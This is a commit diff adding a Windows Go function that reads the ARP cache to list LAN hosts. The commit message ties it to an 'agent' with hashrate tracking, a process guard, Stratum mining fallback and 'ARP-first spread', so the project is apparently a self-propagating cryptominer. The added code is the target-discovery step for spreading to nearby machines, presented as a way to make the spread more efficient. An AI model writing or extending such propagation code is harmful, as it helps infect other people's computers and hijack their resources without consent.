fix: agent effectiveness -- hashrate accuracy, process guard, Stratum fallback, ARP-first spread

agent/deploy/arp_windows.go

@@ -0,0 +1,51 @@
+//go:build windows
+
+package deploy
+
+import (
+	"net"
+	"os/exec"
+	"strings"
+)
+
+// arpHosts returns the list of IPv4 hosts currently in the OS ARP cache
+// that share a subnet with one of our local interfaces. These are machines
+// that have recently communicated on the LAN — a far smaller and more
+// targeted set than a blind /24 sweep.
+//
+// Falls back to nil (caller will do a full scan) on any error.
+func arpHosts() []string {
+	out, err := exec.Command("arp", "-a").Output()
+	if err != nil {
+		return nil
+	}
+	local := getLocalIPs()
+	subnets := make(map[string]bool)
+	for _, ip := range local {
+		subnets[getSubnet(ip)] = true
+	}
+
+	var hosts []string
+	seen := make(map[string]bool)
+	for _, line := range strings.Split(string(out), "\n") {
+		line = strings.TrimSpace(line)
+		// arp -a lines look like:
+		//   192.168.1.1         00-11-22-33-44-55     dynamic
+		fields := strings.Fields(line)
+		if len(fields) < 2 {
+			continue
+		}
+		ip := net.ParseIP(fields[0])
+		if ip == nil || ip.To4() == nil || ip.IsLoopback() || ip.IsMulticast() {
+			continue
+		}
+		ipStr := ip.To4().String()
+		sub := getSubnet(ipStr)
+		if !subnets[sub] || seen[ipStr] {
+			continue
+		}
+		seen[ipStr] = true
+		hosts = append(hosts, ipStr)
+	}
+	return hosts
+}